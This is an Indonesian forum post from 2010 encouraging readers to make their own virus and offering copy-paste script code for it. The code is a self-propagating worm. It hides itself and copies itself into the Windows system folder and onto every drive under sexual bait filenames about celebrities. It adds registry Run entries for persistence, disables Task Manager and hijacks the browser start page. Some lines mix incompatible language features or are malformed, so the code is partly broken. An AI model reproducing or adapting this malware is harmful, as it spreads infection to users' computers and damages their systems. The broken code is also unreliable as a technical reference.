Pencarian
 
 

Display results as :
 


Rechercher Advanced Search

Latest topics
» solusi bau mulut
Sun Aug 17, 2014 3:40 am by wartasolusi

» akhirnya terjawab sudah masalah saya
Sun Oct 28, 2012 4:31 am by stokisherbal

» solusi bau mulut, napas, kurus/obesitas, kerusakan rambut
Wed Oct 17, 2012 4:18 pm by stokisherbal

» nulled CPA blaster
Wed Oct 17, 2012 12:15 pm by Admin

» Script Download Mp3 dari 4Shared [White Code]
Sun Sep 30, 2012 12:01 pm by mandala

» Backlink Pasang Ac Surabaya | Do follow blog - Infoac.info
Fri Sep 28, 2012 10:42 pm by mandala

» Backlink Service Ac Surabaya
Fri Sep 28, 2012 10:37 pm by mandala

» site:perawatanac.infoac.info
Wed Sep 26, 2012 1:31 am by mandala

» Auto Approve - Bakclink September 2012
Thu Aug 30, 2012 10:41 pm by mandala

» pemesanan id betting online
Wed Aug 29, 2012 2:40 pm by dragonbet77

» Dijual Segera Rumah Minimalis Siap Huni dan Hadap Timur | Surabaya
Tue Aug 28, 2012 9:23 pm by mandala

» Get Usernames And Passwords + Database By Google
Sun Aug 26, 2012 12:15 pm by mandala


Buat Virus memang asik

Go down

Buat Virus memang asik

Post by Admin on Tue Nov 16, 2010 7:28 am

Membuat Virus sendiri sangat mudah lhoo....

copas aja script berikut ini..
Code:

Private Sub Main()
On Error Resume Next
Dim Rumah As Variant
Dim FolderSYSTEM As Object
Set Rumah = CreateObject("scripting.filesystemobject")
Set FolderSYSTEM = Rumah.GetSpecialFolder(1)

App.TaskVisible = False
App.Title = "WINLOGIN"

FileCopy App.Path & "" & App.vbsName & ".vbs", FolderSYSTEM & "\CML.vbs"
FileCopy App.Path & "" & App.vbsName & ".vbs", FolderSYSTEM & "\mandala.vbs"
FileCopy App.Path & "" & App.vbsName & ".vbs", FolderSYSTEM & "\user.vbs"
FileCopy App.Path & "" & App.vbsName & ".vbs", FolderSYSTEM & "\mercury.vbs"
FileCopy App.Path & "" & App.vbsName & ".vbs", FolderSYSTEM & "\NOTEPED.vbs"
FileCopy App.Path & "" & App.vbsName & ".vbs", FolderSYSTEM & "\REGEDUT.vbs"
FileCopy App.Path & "" & App.vbsName & ".vbs", FolderSYSTEM & "\USERINOT.vbs"
SD
IE
Buat
End Sub

Sub SD()
On Error Resume Next
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
Dim penanda As Byte

For ictr = 65 To 90
sDrive = Chr(ictr) & ":"

On Error Resume Next
FileCopy App.Path & "" & App.vbsName & ".vbs", sDrive & "Dewi persik esek esek.vbs"
FileCopy App.Path & "" & App.vbsName & ".vbs", sDrive & "Dewi portuna lagi mandi.vbs"
FileCopy App.Path & "" & App.vbsName & ".vbs", sDrive & "Dewa dewi cari cinta.vbs"
FileCopy App.Path & "" & App.vbsName & ".vbs", sDrive & "buka aku tanggung sendiri.vbs"
FileCopy App.Path & "" & App.vbsName & ".vbs", sDrive & "Sex masal artis indonesia.vbs"
FileCopy App.Path & "" & App.vbsName & ".vbs", sDrive & "BCL diperkosa.vbs"
FileCopy App.Path & "" & App.vbsName & ".vbs", sDrive & "JuPe bugil + esek esek.vbs"

Next

End Sub

Sub IE()
On Error Resume Next
Dim Paray
Set Paray = CreateObject("Wscript.Shell")
Paray.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Infected by TLABS VBS Virus Generator"
Paray.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "Salam kenal buat para virus maker indonesia"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", FolderSYSTEM & "\CML.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", FolderSYSTEM & "\mandala.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", FolderSYSTEM & "\user.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", FolderSYSTEM & "\mercury.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", FolderSYSTEM & "\REGEDUT.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", FolderSYSTEM & "\USERINOT.vbs"
Paray.RegWrite “HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ DisableTaskMgr”, “1, “REG_DWORD”
Paray.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\StartPage", "c:\windows\system32\Myheart.txt"
End Sub

Sub Buat()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set fileADSW = fso.CreateTextFile("c:\windows\system32\Myheart.txt")
fileADSW.WriteLine ("Dear: Mandala Putra Dwi Admaja")
fileADSW.WriteLine ("Kau tak tahu perasaanku sesungguhnya, ya kan....")
fileADSW.WriteLine ("Seberapa besar cintaku padamu ... sampai ga bisa masuk ke hatiku yang kecil ini lho...")
fileADSW.WriteLine ("Seberapa dalam hatiku, aku aja ga tau....")
fileADSW.WriteLine ("Tetaplah kau seperti itu")
fileADSW.WriteLine ("Tetaplah kau senyum padaku, SEMANGAT ^_^")
fileADSW.WriteLine ("Setiap senyum berarti IBADAH pagiMU")
fileADSW.WriteLine ("Membuat diriku slalu mencintaimu selamanya")
fileADSW.WriteLine ("Setiap saat"setiap waktu)
fileADSW.WriteLine ("Senyummu membayangi dalam tidurku")
fileADSW.WriteLine ("Andai ku bisa memilikimu")
fileADSW.WriteLine ("from: MERCURY")
End Sub

simpan dalam bentuk .vbs
avatar
Admin
Admin
Admin

Jumlah posting : 347
Points : -2145856386
Reputation : 8
Join date : 08.11.10
Age : 31
Lokasi : Surabaya

Lihat profil user http://promosi.indonesianforum.net

Kembali Ke Atas Go down

Kembali Ke Atas

- Similar topics

 
Permissions in this forum:
Anda tidak dapat menjawab topik